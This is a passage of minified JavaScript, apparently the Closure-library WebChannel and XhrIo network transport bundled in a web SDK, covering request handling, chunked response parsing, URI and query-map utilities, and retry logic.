sl(n)}catch(a){return e}}(t,n)+(r?" "+r:"")})}wl.prototype.H=function(){wl.X.H.call(this),Sl(this)},wl.prototype.handleEvent=function(){throw Error("EventHandler.handleEvent not implemented")},Ml.prototype.info=function(){};var El={},Tl=null;function Il(){return Tl=Tl||new rl}function kl(t){Nc.call(this,El.Ga,t)}function Al(t){var e=Il();il(e,new kl(e,t))}function Dl(t,e){Nc.call(this,El.STAT_EVENT,t),this.stat=e}function Nl(t){var e=Il();il(e,new Dl(e,t))}function Rl(t){Nc.call(this,El.Ha,t)}function Ll(t,e){if("function"!=typeof t)throw Error("Fn must not be null and must be a function");return za.setTimeout(function(){t()},e)}El.Ga="serverreachability",Ja(kl,Nc),El.STAT_EVENT="statevent",Ja(Dl,Nc),El.Ha="timingevent",Ja(Rl,Nc);var jl={NO_ERROR:0,fb:1,sb:2,rb:3,mb:4,qb:5,tb:6,Ea:7,TIMEOUT:8,wb:9},Fl={kb:"complete",Gb:"success",Fa:"error",Ea:"abort",yb:"ready",zb:"readystatechange",TIMEOUT:"timeout",ub:"incrementaldata",xb:"progress",nb:"downloadprogress",Ob:"uploadprogress"};function Vl(){}function Bl(){}Vl.prototype.b=null;var Hl,zl={OPEN:"a",jb:"b",Fa:"c",vb:"d"};function Gl(){Nc.call(this,"d")}function Ul(){Nc.call(this,"c")}function ql(){}function Wl(t,e,n,r){this.g=t,this.c=e,this.f=n,this.S=r||1,this.J=new wl(this),this.P=Kl,this.R=new yl(t=Cc?125:void 0),this.B=null,this.b=!1,this.j=this.l=this.i=this.G=this.u=this.T=this.o=null,this.s=[],this.a=null,this.D=0,this.h=this.m=null,this.N=-1,this.A=!1,this.O=0,this.F=null,this.V=this.C=this.U=this.I=!1}Ja(Gl,Nc),Ja(Ul,Nc),Ja(ql,Vl),ql.prototype.a=function(){return new XMLHttpRequest},ql.prototype.c=function(){return{}},Hl=new ql;var Kl=45e3,$l={},Ql={};function Xl(t,e,n){t.G=1,t.i=bu(hu(e)),t.j=n,t.I=!0,Zl(t,null)}function Zl(t,e){t.u=Ya(),tu(t),t.l=hu(t.i);var n=t.l,r=t.S;Array.isArray(r)||(r=[String(r)]),ku(n.b,"t",r),t.D=0,t.a=Sd(t.g,t.g.C?e:null),0<t.O&&(t.F=new Cl(Xa(t.Da,t,t.a),t.O)),Pl(t.J,t.a,"readystatechange",t.bb),e=t.B?pc(t.B):{},t.j?(t.m||(t.m="POST"),e["Content-Type"]="application/x-www-form-urlencoded",t.a.ba(t.l,t.m,t.j,e)):(t.m="GET",t.a.ba(t.l,t.m,null,e)),Al(1),function(t,e,n,r,i,o){t.info(function(){if(t.a)if(o)for(var s="",a=o.split("&"),c=0;c<a.length;c++){var l=a[c].split("=");if(1<l.length){var u=l[0];l=l[1];var d=u.split("_");s=2<=d.length&&"type"==d[1]?s+(u+"=")+l+"&":s+(u+"=redacted&")}}else s=null;else s=o;return"XMLHTTP REQ ("+r+") [attempt "+i+"]: "+e+"\n"+n+"\n"+s})}(t.c,t.m,t.l,t.f,t.S,t.j)}function Yl(t,e,n){for(var r=!0;!t.A&&t.D<n.length;){var i=Jl(t,n);if(i==Ql){4==e&&(t.h=4,Nl(14),r=!1),Ol(t.c,t.f,null,"[Incomplete Response]");break}if(i==$l){t.h=4,Nl(15),Ol(t.c,t.f,n,"[Invalid Chunk]"),r=!1;break}Ol(t.c,t.f,i,null),ou(t,i)}4==e&&0==n.length&&(t.h=1,Nl(16),r=!1),t.b=t.b&&r,r?0<n.length&&!t.V&&(t.V=!0,(e=t.g).a==t&&e.U&&!e.F&&(e.c.info("Great, no buffering proxy detected. Bytes received: "+n.length),yd(e),e.F=!0,Nl(11))):(Ol(t.c,t.f,n,"[Invalid Chunked Response]"),iu(t),ru(t))}function Jl(t,e){var n=t.D,r=e.indexOf("\n",n);return-1==r?Ql:(n=Number(e.substring(n,r)),isNaN(n)?$l:(r+=1)+n>e.length?Ql:(e=e.substr(r,n),t.D=r+n,e))}function tu(t){t.T=Ya()+t.P,eu(t,t.P)}function eu(t,e){if(null!=t.o)throw Error("WatchDog timer not null");t.o=Ll(Xa(t.$a,t),e)}function nu(t){t.o&&(za.clearTimeout(t.o),t.o=null)}function ru(t){0==t.g.v||t.A||_d(t.g,t)}function iu(t){nu(t);var e=t.F;e&&"function"==typeof e.ka&&e.ka(),t.F=null,bl(t.R),Sl(t.J),t.a&&(e=t.a,t.a=null,e.abort(),e.ka())}function ou(t,e){try{var n=t.g;if(0!=n.v&&(n.a==t||Fu(n.b,t)))if(n.I=t.N,!t.C&&Fu(n.b,t)&&3==n.v){try{var r=n.la.a.parse(e)}catch(m){r=null}if(Array.isArray(r)&&3==r.length){var i=r;if(0==i[0])t:if(n.j)n.pa=i[1],0<n.pa-n.P&&37500>i[2]&&n.G&&0==n.o&&!n.m&&(n.m=Ll(Xa(n.Xa,n),6e3));else{if(n.a){if(!(n.a.u+3e3<t.u))break t;vd(n),cd(n)}md(n),Nl(18)}if(1>=ju(n.b)&&n.fa){try{n.fa()}catch(m){}n.fa=void 0}}else wd(n,11)}else if((t.C||n.a==t)&&vd(n),!oc(e))for(e=r=n.la.a.parse(e),r=0;r<e.length;r++)if(n.P=(i=e[r])[0],i=i[1],2==n.v)if("c"==i[0]){n.J=i[1],n.ha=i[2];var o=i[3];null!=o&&(n.ia=o,n.c.info("VER="+n.ia));var s=i[4];null!=s&&(n.qa=s,n.c.info("SVER="+n.qa));var a=i[5];if(null!=a&&"number"==typeof a&&0<a){var c=1.5*a;n.D=c,n.c.info("backChannelRequestTimeoutMs_="+c)}c=n;var l=t.a;if(l){var u=l.a?l.a.getResponseHeader("X-Client-Wire-Protocol"):null;if(u){var d=c.b;!d.a&&(cc(u,"spdy")||cc(u,"quic")||cc(u,"h2"))&&(d.f=d.g,d.a=new Set,d.b&&(Vu(d,d.b),d.b=null))}if(c.A){var h=l.a?l.a.getResponseHeader("X-HTTP-Session-Id"):null;h&&(c.oa=h,yu(c.B,c.A,h))}}n.v=3,n.f&&n.f.ua(),n.U&&(n.N=Ya()-t.u,n.c.info("Handshake RTT: "+n.N+"ms"));var p=t;if((c=n).ma=Pd(c,c.C?c.ha:null,c.ga),p.C){Bu(c.b,p);var f=p,g=c.D;g&&f.setTimeout(g),f.o&&(nu(f),tu(f)),c.a=p}else gd(c);0<n.g.length&&dd(n)}else"stop"!=i[0]&&"close"!=i[0]||wd(n,7);else 3==n.v&&("stop"==i[0]||"close"==i[0]?"stop"==i[0]?wd(n,7):ad(n):"noop"!=i[0]&&n.f&&n.f.ta(i),n.o=0);Al(4)}catch(m){}}function su(t,e){if(t.forEach&&"function"==typeof t.forEach)t.forEach(e,void 0);else if(Ua(t)||"string"==typeof t)nc(t,e,void 0);else{if(t.L&&"function"==typeof t.L)var n=t.L();else if(t.K&&"function"==typeof t.K)n=void 0;else if(Ua(t)||"string"==typeof t){n=[];for(var r=t.length,i=0;i<r;i++)n.push(i)}else for(i in n=[],r=0,t)n[r++]=i;i=(r=function(t){if(t.K&&"function"==typeof t.K)return t.K();if("string"==typeof t)return t.split("");if(Ua(t)){for(var e=[],n=t.length,r=0;r<n;r++)e.push(t[r]);return e}for(r in e=[],n=0,t)e[n++]=t[r];return e}(t)).length;for(var o=0;o<i;o++)e.call(void 0,r[o],n&&n[o],t)}}function au(t,e){this.b={},this.a=[],this.c=0;var n=arguments.length;if(1<n){if(n%2)throw Error("Uneven number of arguments");for(var r=0;r<n;r+=2)this.set(arguments[r],arguments[r+1])}else if(t)if(t instanceof au)for(n=t.L(),r=0;r<n.length;r++)this.set(n[r],t.get(n[r]));else for(r in t)this.set(r,t[r])}function cu(t){if(t.c!=t.a.length){for(var e=0,n=0;e<t.a.length;){var r=t.a[e];lu(t.b,r)&&(t.a[n++]=r),e++}t.a.length=n}if(t.c!=t.a.length){var i={};for(n=e=0;e<t.a.length;)lu(i,r=t.a[e])||(t.a[n++]=r,i[r]=1),e++;t.a.length=n}}function lu(t,e){return Object.prototype.hasOwnProperty.call(t,e)}(Va=Wl.prototype).setTimeout=function(t){this.P=t},Va.bb=function(t){t=t.target;var e=this.F;e&&3==rd(t)?e.f():this.Da(t)},Va.Da=function(t){try{if(t==this.a)t:{var e=rd(this.a),n=this.a.va(),r=this.a.W();if(!(3>e||3==e&&!Cc&&!this.a.$())){this.A||4!=e||7==n||Al(8==n||0>=r?3:2),nu(this);var i=this.a.W();this.N=i;var o=this.a.$();if(this.b=200==i,function(t,e,n,r,i,o,s){t.info(function(){return"XMLHTTP RESP ("+r+") [ attempt "+i+"]: "+e+"\n"+n+"\n"+o+" "+s})}(this.c,this.m,this.l,this.f,this.S,e,i),this.b){if(this.U&&!this.C){e:{if(this.a){var s,a=this.a;if((s=a.a?a.a.getResponseHeader("X-HTTP-Initial-Response"):null)&&!oc(s)){var c=s;break e}}c=null}if(!c){this.b=!1,this.h=3,Nl(12),iu(this),ru(this);break t}Ol(this.c,this.f,c,"Initial handshake response via X-HTTP-Initial-Response"),this.C=!0,ou(this,c)}this.I?(Yl(this,e,o),Cc&&this.b&&3==e&&(Pl(this.J,this.R,"tick",this.ab),this.R.start())):(Ol(this.c,this.f,o,null),ou(this,o)),4==e&&iu(this),this.b&&!this.A&&(4==e?_d(this.g,this):(this.b=!1,tu(this)))}else 400==i&&0<o.indexOf("Unknown SID")?(this.h=3,Nl(12)):(this.h=0,Nl(13)),iu(this),ru(this)}}}catch(l){}},Va.ab=function(){if(this.a){var t=rd(this.a),e=this.a.$();this.D<e.length&&(nu(this),Yl(this,t,e),this.b&&4!=t&&tu(this))}},Va.cancel=function(){this.A=!0,iu(this)},Va.$a=function(){this.o=null;var t=Ya();0<=t-this.T?(function(t,e){t.info(function(){return"TIMEOUT: "+e})}(this.c,this.l),2!=this.G&&(Al(3),Nl(17)),iu(this),this.h=2,ru(this)):eu(this,this.T-t)},(Va=au.prototype).K=function(){cu(this);for(var t=[],e=0;e<this.a.length;e++)t.push(this.b[this.a[e]]);return t},Va.L=function(){return cu(this),this.a.concat()},Va.get=function(t,e){return lu(this.b,t)?this.b[t]:e},Va.set=function(t,e){lu(this.b,t)||(this.c++,this.a.push(t)),this.b[t]=e},Va.forEach=function(t,e){for(var n=this.L(),r=0;r<n.length;r++){var i=n[r],o=this.get(i);t.call(e,o,i,this)}};var uu=/^(?:([^:/?#.]+):)?(?:\/\/(?:([^\\/?#]*)@)?([^\\/?#]*?)(?::([0-9]+))?(?=[\\/?#]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;function du(t,e){if(this.c=this.j=this.f="",this.h=null,this.i=this.g="",this.a=!1,t instanceof du){this.a=void 0!==e?e:t.a,pu(this,t.f),this.j=t.j,fu(this,t.c),gu(this,t.h),this.g=t.g,e=t.b;var n=new Ou;n.c=e.c,e.a&&(n.a=new au(e.a),n.b=e.b),mu(this,n),this.i=t.i}else t&&(n=String(t).match(uu))?(this.a=!!e,pu(this,n[1]||"",!0),this.j=vu(n[2]||""),fu(this,n[3]||"",!0),gu(this,n[4]),this.g=vu(n[5]||"",!0),mu(this,n[6]||"",!0),this.i=vu(n[7]||"")):(this.a=!!e,this.b=new Ou(null,this.a))}function hu(t){return new du(t)}function pu(t,e,n){t.f=n?vu(e,!0):e,t.f&&(t.f=t.f.replace(/:$/,""))}function fu(t,e,n){t.c=n?vu(e,!0):e}function gu(t,e){if(e){if(e=Number(e),isNaN(e)||0>e)throw Error("Bad port number "+e);t.h=e}else t.h=null}function mu(t,e,n){e instanceof Ou?(t.b=e,function(t,e){e&&!t.f&&(Eu(t),t.c=null,t.a.forEach(function(t,e){var n=e.toLowerCase();e!=n&&(Tu(this,e),ku(this,n,t))},t)),t.f=e}(t.b,t.a)):(n||(e=_u(e,Su)),t.b=new Ou(e,t.a))}function yu(t,e,n){t.b.set(e,n)}function bu(t){return yu(t,"zx",Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^Ya()).toString(36)),t}function vu(t,e){return t?e?decodeURI(t.replace(/%25/g,"%2525")):decodeURIComponent(t):""}function _u(t,e,n){return"string"==typeof t?(t=encodeURI(t).replace(e,Cu),n&&(t=t.replace(/%25([0-9a-fA-F]{2})/g,"%$1")),t):null}function Cu(t){return"%"+((t=t.charCodeAt(0))>>4&15).toString(16)+(15&t).toString(16)}du.prototype.toString=function(){var t=[],e=this.f;e&&t.push(_u(e,wu,!0),":");var n=this.c;return(n||"file"==e)&&(t.push("//"),(e=this.j)&&t.push(_u(e,wu,!0),"@"),t.push(encodeURIComponent(String(n)).replace(/%25([0-9a-fA-F]{2})/g,"%$1")),null!=(n=this.h)&&t.push(":",String(n))),(n=this.g)&&(this.c&&"/"!=n.charAt(0)&&t.push("/"),t.push(_u(n,"/"==n.charAt(0)?Pu:xu,!0))),(n=this.b.toString())&&t.push("?",n),(n=this.i)&&t.push("#",_u(n,Mu)),t.join("")};var wu=/[#\/\?@]/g,xu=/[#\?:]/g,Pu=/[#\?]/g,Su=/[#\?@]/g,Mu=/#/g;function Ou(t,e){this.b=this.a=null,this.c=t||null,this.f=!!e}function Eu(t){t.a||(t.a=new au,t.b=0,t.c&&function(t,e){if(t){t=t.split("&");for(var n=0;n<t.length;n++){var r=t[n].indexOf("="),i=null;if(0<=r){var o=t[n].substring(0,r);i=t[n].substring(r+1)}else o=t[n];e(o,i?decodeURIComponent(i.replace(/\+/g," ")):"")}}}(t.c,function(e,n){t.add(decodeURIComponent(e.replace(/\+/g," ")),n)}))}function Tu(t,e){Eu(t),e=Au(t,e),lu(t.a.b,e)&&(t.c=null,t.b-=t.a.get(e).length,lu((t=t.a).b,e)&&(delete t.b[e],t.c--,t.a.length>2*t.c&&cu(t)))}function Iu(t,e){return Eu(t),e=Au(t,e),lu(t.a.b,e)}function ku(t,e,n){Tu(t,e),0<n.length&&(t.c=null,t.a.set(Au(t,e),ic(n)),t.b+=n.length)}function Au(t,e){return e=String(e),t.f&&(e=e.toLowerCase()),e}(Va=Ou.prototype).add=function(t,e){Eu(this),this.c=null,t=Au(this,t);var n=this.a.get(t);return n||this.a.set(t,n=[]),n.push(e),this.b+=1,this},Va.forEach=function(t,e){Eu(this),this.a.forEach(function(n,r){nc(n,function(n){t.call(e,n,r,this)},this)},this)},Va.L=function(){Eu(this);for(var t=this.a.K(),e=this.a.L(),n=[],r=0;r<e.length;r++)for(var i=t[r],o=0;o<i.length;o++)n.push(e[r]);return n},Va.K=function(t){Eu(this);var e=[];if("string"==typeof t)Iu(this,t)&&(e=rc(e,this.a.get(Au(this,t))));else{t=this.a.K();for(var n=0;n<t.length;n++)e=rc(e,t[n])}return e},Va.set=function(t,e){return Eu(this),this.c=null,Iu(this,t=Au(this,t))&&(this.b-=this.a.get(t).length),this.a.set(t,[e]),this.b+=1,this},Va.get=function(t,e){return t&&0<(t=this.K(t)).length?String(t[0]):e},Va.toString=function(){if(this.c)return this.c;if(!this.a)return"";for(var t=[],e=this.a.L(),n=0;n<e.length;n++){var r=e[n],i=encodeURIComponent(String(r));r=this.K(r);for(var o=0;o<r.length;o++){var s=i;""!==r[o]&&(s+="="+encodeURIComponent(String(r[o]))),t.push(s)}}return this.c=t.join("&")};var Du=function(t,e){this.b=t,this.a=e};function Nu(t){this.g=t||Ru,t=za.PerformanceNavigationTiming?0<(t=za.performance.getEntriesByType("navigation")).length&&("hq"==t[0].nextHopProtocol||"h2"==t[0].nextHopProtocol):!!(za.ja&&za.ja.za&&za.ja.za()&&za.ja.za().Qb),this.f=t?this.g:1,this.a=null,1<this.f&&(this.a=new Set),this.b=null,this.c=[]}var Ru=10;function Lu(t){return!!t.b||!!t.a&&t.a.size>=t.f}function ju(t){return t.b?1:t.a?t.a.size:0}function Fu(t,e){return t.b?t.b==e:!!t.a&&t.a.has(e)}function Vu(t,e){t.a?t.a.add(e):t.b=e}function Bu(t,e){t.b&&t.b==e?t.b=null:t.a&&t.a.has(e)&&t.a.delete(e)}function Hu(t){var e,n;if(null!=t.b)return t.c.concat(t.b.s);if(null!=t.a&&0!==t.a.size){var r=t.c;try{for(var i=Fa(t.a.values()),o=i.next();!o.done;o=i.next())r=r.concat(o.value.s)}catch(s){e={error:s}}finally{try{o&&!o.done&&(n=i.return)&&n.call(i)}finally{if(e)throw e.error}}return r}return ic(t.c)}function zu(){}function Gu(){this.a=new zu}function Uu(t,e,n){var r=n||"";try{su(t,function(t,n){var i=t;qa(t)&&(i=sl(t)),e.push(r+n+"="+encodeURIComponent(i))})}catch(i){throw e.push(r+"type="+encodeURIComponent("_badmap")),i}}function qu(t,e,n,r,i){try{e.onload=null,e.onerror=null,e.onabort=null,e.ontimeout=null,i(r)}catch(o){}}Nu.prototype.cancel=function(){var t,e;if(this.c=Hu(this),this.b)this.b.cancel(),this.b=null;else if(this.a&&0!==this.a.size){try{for(var n=Fa(this.a.values()),r=n.next();!r.done;r=n.next())r.value.cancel()}catch(i){t={error:i}}finally{try{r&&!r.done&&(e=n.return)&&e.call(n)}finally{if(t)throw t.error}}this.a.clear()}},zu.prototype.stringify=function(t){return za.JSON.stringify(t,void 0)},zu.prototype.parse=function(t){return za.JSON.parse(t,void 0)};var Wu=za.JSON.parse;function Ku(t){rl.call(this),this.headers=new au,this.l=t||null,this.b=!1,this.u=this.a=null,this.C="",this.h=0,this.f="",this.g=this.B=this.m=this.A=!1,this.s=0,this.o=null,this.I=$u,this.F=this.G=!1}Ja(Ku,rl);var $u="",Qu=/^https?$/i,Xu=["POST","PUT"];function Zu(t){return"content-type"==t.toLowerCase()}function Yu(t,e){t.b=!1,t.a&&(t.g=!0,t.a.abort(),t.g=!1),t.f=e,t.h=5,Ju(t),ed(t)}function Ju(t){t.A||(t.A=!0,il(t,"complete"),il(t,"error"))}function td(t){if(t.b&&void 0!==Ha&&(!t.u[1]||4!=rd(t)||2!=t.W()))if(t.m&&4==rd(t))vl(t.Aa,0,t);else if(il(t,"readystatechange"),4==rd(t)){t.b=!1;try{var e,n=t.W();t:switch(n){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:var r=!0;break t;default:r=!1}if(!(e=r)){var i;if(i=0===n){var o=String(t.C).match(uu)[1]||null;if(!o&&za.self&&za.self.location){var s=za.self.location.protocol;o=s.substr(0,s.length-1)}i=!Qu.test(o?o.toLowerCase():"")}e=i}if(e)il(t,"complete"),il(t,"success");else{t.h=6;try{var a=2<rd(t)?t.a.statusText:""}catch(c){a=""}t.f=a+" ["+t.W()+"]",Ju(t)}}finally{ed(t)}}}function ed(t,e){if(t.a){nd(t);var n=t.a,r=t.u[0]?Ga:null;t.a=null,t.u=null,e||il(t,"ready");try{n.onreadystatechange=r}catch(i){}}}function nd(t){t.a&&t.F&&(t.a.ontimeout=null),t.o&&(za.clearTimeout(t.o),t.o=null)}function rd(t){return t.a?t.a.readyState:0}function id(t,e,n){t:{for(r in n){var r=!1;break t}r=!0}r||(n=function(t){var e="";return hc(t,function(t,n){e+=n,e+=":",e+=t,e+="\r\n"}),e}(n),"string"==typeof t?null!=n&&encodeURIComponent(String(n)):yu(t,e,n))}function od(t,e,n){return n&&n.internalChannelParams&&n.internalChannelParams[t]||e}function sd(t){this.qa=0,this.g=[],this.c=new Ml,this.ha=this.ma=this.B=this.ga=this.a=this.oa=this.A=this.V=this.i=this.O=this.l=null,this.Pa=this.R=0,this.Ma=od("failFast",!1,t),this.G=this.m=this.j=this.h=this.f=null,this.S=!0,this.I=this.pa=this.P=-1,this.T=this.o=this.u=0,this.Ia=od("baseRetryDelayMs",5e3,t),this.Sa=od("retryDelaySeedMs",1e4,t),this.Na=od("forwardChannelMaxRetries",2,t),this.na=od("forwardChannelRequestTimeoutMs",2e4,t),this.Oa=t&&t.xmlHttpFactory||void 0,this.D=void 0,this.C=t&&t.supportsCrossDomainXhr||!1,this.J="",this.b=new Nu(t&&t.concurrentRequestLimit),this.la=new Gu,this.ea=t&&t.fastHandshake||!1,this.Ja=t&&t.b||!1,t&&t.f&&(this.c.a=!1),t&&t.forceLongPolling&&(this.S=!1),this.U=!this.ea&&this.S&&t&&t.detectBufferingProxy||!1,this.fa=void 0,this.N=0,this.F=!1,this.s=null,(this.La=t&&t.c||!1)&&this.c.info("Opt-in to enable Chrome Origin Trials.")}function ad(t){if(ld(t),3==t.v){var e=t.R++,n=hu(t.B);yu(n,"SID",t.J),yu(n,"RID",e),yu(n,"TYPE","terminate"),pd(t,n),(e=new Wl(t,t.c,e,void 0)).G=2,e.i=bu(hu(n)),n=!1,za.navigator&&za.navigator.sendBeacon&&(n=za.navigator.sendBeacon(e.i.toString(),"")),!n&&za.Image&&((new Image).src=e.i,n=!0),n||(e.a=Sd(e.g,null),e.a.ba(e.i)),e.u=Ya(),tu(e)}xd(t)}function cd(t){t.a&&(yd(t),t.a.cancel(),t.a=null)}function ld(t){cd(t),t.j&&(za.clearTimeout(t.j),t.j=null),vd(t),t.b.cancel(),t.h&&("number"==typeof t.h&&za.clearTimeout(t.h),t.h=null)}function ud(t,e){t.g.push(new Du(t.Pa++,e)),3==t.v&&dd(t)}function dd(t){Lu(t.b)||t.h||(t.h=!0,pl(t.Ca,t),t.u=0)}function hd(t,e){var n;n=e?e.f:t.R++;var r=hu(t.B);yu(r,"SID",t.J),yu(r,"RID",n),yu(r,"AID",t.P),pd(t,r),t.i&&t.l&&id(r,t.i,t.l),n=new Wl(t,t.c,n,t.u+1),null===t.i&&(n.B=t.l),e&&(t.g=e.s.concat(t.g)),e=fd(t,n,1e3),n.setTimeout(Math.round(.5*t.na)+Math.round(.5*t.na*Math.random())),Vu(t.b,n),Xl(n,r,e)}function pd(t,e){t.f&&su({},function(t,n){yu(e,n,t)})}function fd(t,e,n){n=Math.min(t.g.length,n);var r=t.f?Xa(t.f.Ka,t.f,t):null;t:for(var i=t.g,o=-1;;){var s=["count="+n];-1==o?0<n?s.push("ofs="+(o=i[0].b)):o=0:s.push("ofs="+o);for(var a=!0,c=0;c<n;c++){var l=i[c].b,u=i[c].a;if(0>(l-=o))o=Math.max(0,i[c].b-100),a=!1;else try{Uu(u,s,"req"+l+"_")}catch(d){r&&r(u)}}if(a){r=s.join("&");break t}}return t=t.g.splice(0,n),e.s=t,r}function gd(t){t.a||t.j||(t.T=1,pl(t.Ba,t),t.o=0)}function md(t){return!(t.a||t.j||3<=t.o||(t.T++,t.j=Ll(Xa(t.Ba,t),Cd(t,t.o)),t.o++,0))}function yd(t){null!=t.s&&(za.clearTimeout(t.s),t.s=null)}function bd(t){t.a=new Wl(t,t.c,"rpc",t.T),null===t.i&&(t.a.B=t.l),t.a.O=0;var e=hu(t.ma);yu(e,"RID","rpc"),yu(e,"SID",t.J),yu(e,"CI",t.G?"0":"1"),yu(e,"AID",t.P),pd(t,e),yu(e,"TYPE","xmlhttp"),t.i&&t.l&&id(e,t.i,t.l),t.D&&t.a.setTimeout(t.D);var n=t.a;t=t.ha,n.G=1,n.i=bu(hu(e)),n.j=null,n.I=!0,Zl(n,t)}function vd(t){null!=t.m&&(za.clearTimeout(t.m),t.m=null)}function _d(t,e){var n=null;if(t.a==e){vd(t),yd(t),t.a=null;var r=2}else{if(!Fu(t.b,e))return;n=e.s,Bu(t.b,e),r=1}if(t.I=e.N,0!=t.v)if(e.b)if(1==r){n=e.j?e.j.length:0,e=Ya()-e.u;var i=t.u;il(r=Il(),new Rl(r,n,e,i)),dd(t)}else gd(t);else if(3==(i=e.h)||0==i&&0<t.I||!(1==r&&function(t,e){return!(ju(t.b)>=t.b.f-(t.h?1:0)||(t.h?(t.g=e.s.concat(t.g),0):1==t.v||2==t.v||t.u>=(t.Ma?0:t.Na)||(t.h=Ll(Xa(t.Ca,t,e),Cd(t,t.u)),t.u++,0)))}(t,e)||2==r&&md(t)))switch(n&&0<n.length&&(e=t.b,e.c=e.c.concat(n)),i){case 1:wd(t,5);break;case 4:wd(t,10);break;case 3:wd(t,6);break;default:wd(t,2)}}function Cd(t,e){var n=t.Ia+Math.floor(Math.random()*t.Sa);return t.f||(n*=2),n*e}function wd(t,e){if(t.c.info("Error code "+e),2==e){var n=null;t.f&&(n=null);var r=Xa(t.cb,t);n||(n=new du("//www.google.com/images/cleardot.gif"),za.location&&"http"==za.location.protocol||pu(n,"https"),bu(n)),function(t,e){var n=new Ml;if(za.Image){var r=new Image;r.onload=Za(qu,n,r,"TestLoadImage: loaded",!0,e),r.onerror=Za(qu,n,r,"TestLoadImage: error",!1,e),r.onabort=Za(qu,n,r,"TestLoadImage: abort",!1,e),r.ontimeout=Za(qu,n,r,"TestLoadImage: timeout",!1,e),za.setTimeout(function(){r.ontimeout&&r.ontimeout()},1e4),r.src=t}else e(!1)}(n.toString(),r)}else Nl(2);t.v=0,t.f&&t.f.sa(e),xd(t),ld(t)}function xd(t){t.v=0,t.I=-1,t.f&&((0!=Hu(t.b).length||0!=t.g.length)&&(t.b.c.length=0,ic(t.g),t.g.length=0),t.f.ra())}function Pd(t,e,n){var r=function(t){return t instanceof du?hu(t):new du(t,void 0)}(n);if(""!=r.c)e&&fu(r,e+"."+r.c),gu(r,r.h);else{var i=za.location;r=function(t,e,n,r){var i=new du(null,void 0);return t&&pu(i,t),e&&fu(i,e),n&&gu(i,n),r&&(i.g=r),i}(i.protocol,e?e+"."+i.hostname:i.hostname,+i.port,n)}return t.V&&hc(t.V,function(t,e){yu(r,e,t)}),n=t.oa,(e=t.A)&&n&&yu(r,e,n),yu(r,"VER",t.ia),pd(t,r),r}function Sd(t,e){if(e&&!t.C)throw Error("Can't create secondary domain capable XhrIo object.");return(e=new Ku(t.Oa)).G=t.C,e}function Md(){}function Od(){if(vc&&!(10<=Number(Ic)))throw Error("Environmental error: no available transport.")}function Ed(t,e){rl.call(this),this.a=new sd(e),this.g=t,this.b=e&&e.messageUrlParams||null,t=e&&e.messageHeaders||null,e&&e.clientProtocolHeaderRequired&&(t?t["X-Client-Protocol"]="webchannel":t={"X-Client-Protocol":"webchannel"}),this.a.l=t,t=e&&e.initMessageHeaders||null,e&&e.messageContentType&&(t?t["X-WebChannel-Content-Type"]=e.messageContentType:t={"X-WebChannel-Content-Type":e.messageContentType}),e&&e.a&&(t?t["X-WebChannel-Client-Profile"]=e.a:t={"X-WebChannel-Client-Profile":e.a}),this.a.O=t,(t=e&&e.httpHeadersOverwriteParam)&&!oc(t)&&(this.a.i=t),this.o=e&&e.supportsCrossDomainXhr||!1,this.m=e&&e.sendRawJson||!1,(e=e&&e.httpSessionIdParam)&&!oc(e)&&(this.a.A=e,null!==(t=this.b)&&e in t&&e in(t=this.b)&&delete t[e]),this.f=new kd(this)}function Td(t){Gl.call(this);var e=t.__sm__;if(e){t:{for(var n in e){t=n;break t}t=void 0}(this.c=t)?(t=this.c,this.data=null!==e&&t in e?e[t]:void 0):this.data=e}else this.data=t}function Id(){Ul.call(this),this.status=1}function kd(t){this.a=t}function Ad(t){this.f=t}function Dd(t){rl.call(this),this.u=t,this.h=void 0,this.readyState=Nd,this.status=0,this.responseType=this.responseText=this.statusText="",this.onreadystatechange=null,this.l=new Headers,this.b=null,this.s="GET",this.o="",this.a=!1,this.m=this.f=this.g=null}(Va=Ku.prototype).ba=function(t,e,n,r){if(this.a)throw Error("[goog.net.XhrIo] Object is active with another request="+this.C+"; newUri="+t);e=e?e.toUpperCase():"GET",this.C=t,this.f="",this.h=0,this.A=!1,this.b=!0,this.a=this.l?this.l.a():Hl.a(),this.u=function(t){return t.b||(t.b=t.c())}(this.l?this.l:Hl),this.a.onreadystatechange=Xa(this.Aa,this);try{this.B=!0,this.a.open(e,String(t),!0),this.B=!1}catch(o){return void Yu(this,o)}t=n||"";var i=new au(this.headers);r&&su(r,function(t,e){i.set(e,t)}),r=function(t){t:{for(var e=Zu,n=t.length,r="string"==typeof t?t.split(""):t,i=0;i<n;i++)if(i in r&&e.call(void 0,r[i],i,t)){e=i;break t}e=-1}return 0>e?null:"string"==typeof t?t.charAt(e):t[e]}(i.L()),n=za.FormData&&t instanceof za.FormData,!(0<=ec(Xu,e))||r||n||i.set("Content-Type","application/x-www-form-urlencoded;charset=utf-8"),i.forEach(function(t,e){this.a.setRequestHeader(e,t)},this),this.I&&(this.a.responseType=this.I),"withCredentials"in this.a&&this.a.withCredentials!==this.G&&(this.a.withCredentials=this.G);try{nd(this),0<this.s&&((this.F=function(t){return vc&&Tc(9)&&"number"==typeof t.timeout&&void 0!==t.ontimeout}(this.a))?(this.a.timeout=this.s,this.a.ontimeout=Xa(this.ya,this)):this.o=vl(this.ya,this.s,this)),this.m=!0,this.a.send(t),this.m=!1}catch(o){Yu(this,o)}},Va.ya=function(){void 0!==Ha&&this.a&&(this.f="Timed out after "+this.s+"ms, aborting",this.h=8,il(this,"timeout"),this.abort(8))},Va.abort=function(t){this.a&&this.b&&(this.b=!1,this.g=!0,this.a.abort(),this.g=!1,this.h=t||7,il(this,"complete"),il(this,"abort"),ed(this))},Va.H=function(){this.a&&(this.b&&(this.b=!1,this.g=!0,this.a.abort(),this.g=!1),ed(this,!0)),Ku.X.H.call(this)},Va.Aa=function(){this.j||(this.B||this.m||this.g?td(this):this.Za())},Va.Za=function(){td(this)},Va.W=function(){try{return 2<rd(this)?this.a.status:-1}catch(ma){return-1}},Va.$=function(){try{return this.a?this.a.responseText:""}catch(ma){return""}},Va.Qa=function(t){if(this.a){var e=this.a.responseText;return t&&0==e.indexOf(t)&&(e=e.substring(t.length)),Wu(e)}},Va.va=function(){return this.h},Va.Ra=function(){return"string"==typeof this.f?this.f:String(this.f)},(Va=sd.prototype).ia=8,Va.v=1,Va.Ca=function(t){if(this.h)if(this.h=null,1==this.v){if(!t){this.R=Math.floor(1e5*Math.random()),t=this.R++;var e,n=new Wl(this,this.c,t,void 